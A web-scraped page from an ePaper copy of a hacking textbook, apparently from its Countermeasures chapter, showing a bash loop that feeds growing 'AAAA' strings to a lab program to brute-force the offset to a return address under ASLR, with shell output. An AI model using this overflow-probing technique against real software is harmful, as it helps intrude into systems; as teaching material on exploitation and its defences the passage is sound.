26.07.2018 Views

hacking-the-art-of-exploitation

You also want an ePaper? Increase the reach of your titles

YUMPU automatically turns print PDFs into web optimized ePapers that Google loves.

eginning <strong>of</strong> <strong>the</strong> buffer. When a program exits, <strong>the</strong> value returned from <strong>the</strong><br />

main function is <strong>the</strong> exit status. This status is stored in <strong>the</strong> BASH variable $?,<br />

which can be used to detect whe<strong>the</strong>r <strong>the</strong> program crashed.<br />

reader@<strong>hacking</strong>:~/booksrc $ ./aslr_demo test<br />

buffer is at 0xbfb80320<br />

reader@<strong>hacking</strong>:~/booksrc $ echo $?<br />

1<br />

reader@<strong>hacking</strong>:~/booksrc $ ./aslr_demo $(perl -e 'print "AAAA"x50')<br />

buffer is at 0xbfbe2ac0<br />

Segmentation fault<br />

reader@<strong>hacking</strong>:~/booksrc $ echo $?<br />

139<br />

reader@<strong>hacking</strong>:~/booksrc $<br />

Using BASH’s if statement logic, we can stop our brute-forcing script<br />

when it crashes <strong>the</strong> target. The if statement block is contained between <strong>the</strong><br />

keywords <strong>the</strong>n and fi; <strong>the</strong> whitespace in <strong>the</strong> if statement is required. The<br />

break statement tells <strong>the</strong> script to break out <strong>of</strong> <strong>the</strong> for loop.<br />

reader@<strong>hacking</strong>:~/booksrc $ for i in $(seq 1 50)<br />

> do<br />

> echo "Trying <strong>of</strong>fset <strong>of</strong> $i words"<br />

> ./aslr_demo $(perl -e "print 'AAAA'x$i")<br />

> if [ $? != 1 ]<br />

> <strong>the</strong>n<br />

> echo "==> Correct <strong>of</strong>fset to return address is $i words"<br />

> break<br />

> fi<br />

> done<br />

Trying <strong>of</strong>fset <strong>of</strong> 1 words<br />

buffer is at 0xbfc093b0<br />

Trying <strong>of</strong>fset <strong>of</strong> 2 words<br />

buffer is at 0xbfd01ca0<br />

Trying <strong>of</strong>fset <strong>of</strong> 3 words<br />

buffer is at 0xbfe45de0<br />

Trying <strong>of</strong>fset <strong>of</strong> 4 words<br />

buffer is at 0xbfdcd560<br />

Trying <strong>of</strong>fset <strong>of</strong> 5 words<br />

buffer is at 0xbfbf5380<br />

Trying <strong>of</strong>fset <strong>of</strong> 6 words<br />

buffer is at 0xbffce760<br />

Trying <strong>of</strong>fset <strong>of</strong> 7 words<br />

buffer is at 0xbfaf7a80<br />

Trying <strong>of</strong>fset <strong>of</strong> 8 words<br />

buffer is at 0xbfa4e9d0<br />

Trying <strong>of</strong>fset <strong>of</strong> 9 words<br />

buffer is at 0xbfacca50<br />

Trying <strong>of</strong>fset <strong>of</strong> 10 words<br />

buffer is at 0xbfd08c80<br />

Trying <strong>of</strong>fset <strong>of</strong> 11 words<br />

buffer is at 0xbff24ea0<br />

Trying <strong>of</strong>fset <strong>of</strong> 12 words<br />

buffer is at 0xbfaf9a70<br />

Countermeasures 381

Hooray! Your file is uploaded and ready to be published.

Saved successfully!

Ooh no, something went wrong!